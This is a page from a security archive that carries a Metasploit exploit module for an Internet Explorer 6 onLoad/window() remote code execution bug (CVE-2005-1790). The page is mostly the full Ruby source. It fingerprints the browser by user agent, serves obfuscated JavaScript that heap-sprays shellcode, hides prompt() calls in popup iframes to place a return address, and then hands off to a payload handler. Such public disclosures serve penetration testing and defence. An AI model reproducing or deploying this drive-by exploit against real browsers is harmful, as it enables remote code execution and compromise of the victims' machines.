exploit the possibilities

Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution

Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution
Posted Jan 13, 2012
Authored by Benjamin Tobias Franz, Stuart Pearson, Sam Sharps | Site metasploit.com

This bug is triggered when the browser handles a JavaScript 'onLoad' handler in conjunction with an improperly initialized 'window()' JavaScript function. This exploit results in a call to an address lower than the heap. The javascript prompt() places the shellcode near where the call operand points to. The module calls prompt() multiple times in separate iframes to place our return address. The module hides the prompts in a popup window behind the main window and then it will spray the heap a second time with the shellcode and point the return address to the heap. It then uses a fairly high address to make this exploit more reliable. IE will crash when the exploit completes. Also, please note that Internet Explorer must allow popups in order to continue exploitation.

tags | exploit, javascript, shellcode
advisories | CVE-2005-1790
MD5 | 0358332ac3ab6a251d1228ddaa934cc8

Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
This exploit results in a call to an address lower than the heap. The javascript
prompt() places our shellcode near where the call operand points to. We call
prompt() multiple times in separate iframes to place our return address.
We hide the prompts in a popup window behind the main window. We spray the heap
a second time with our shellcode and point the return address to the heap. I use
a fairly high address to make this exploit more reliable. IE will crash when the
exploit completes. Also, please note that Internet Explorer must allow popups
in order to continue exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Tobias Franz', # Discovery
'Stuart Pearson', # Proof of Concept
'Sam Sharps' # Metasploit port
],
'References' =>
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['URL', 'http://www.securityfocus.com/bid/13799/info'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
],
'DisclosureDate' => 'Nov 21 2005',
'DefaultTarget' => 0))
end

def exploit
@var_redir = rand_text_alpha(rand(100)+1)
super
end

def auto_target(cli, request)
mytarget = nil

agent = request.headers['User-Agent']
print_status("Checking user agent: #{agent}")

if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
mytarget = targets[0] # IE6 on XP
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
mytarget = targets[1] # IE6 on 2000
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

mytarget
end


def on_request_uri(cli, request)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)

heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

var ret = "";
var fillmem = "";

for (i = 0; i < 500; i++)
ret += unescape("%u0F0F%u0F0F");
for (i = 0; i < 200; i++)
fillmem += ret;

prompt(fillmem, "");
}
|
heapspray.obfuscate

nofunc = ::Rex::Exploitation::JSObfu.new %Q|

if (document.location.href.indexOf("#{@var_redir}") == -1)
{
var counter = 0;


top.consoleRef = open('','BlankWindow',
'width=100,height=100'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=1')
self.focus()


for (counter = 0; counter < #{mytarget['iframes']}; counter++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
}
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");

}
else
{
#{heapspray.sym('heapspray')}();
}
|

nofunc.obfuscate

main = %Q|
function #{func_main}()
{
document.write("<TITLE>#{var_title}</TITLE>");
document.write("<body onload=window();>");

window.location.reload();
}
|

html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|

print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

# Handle the payload
handler(cli)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close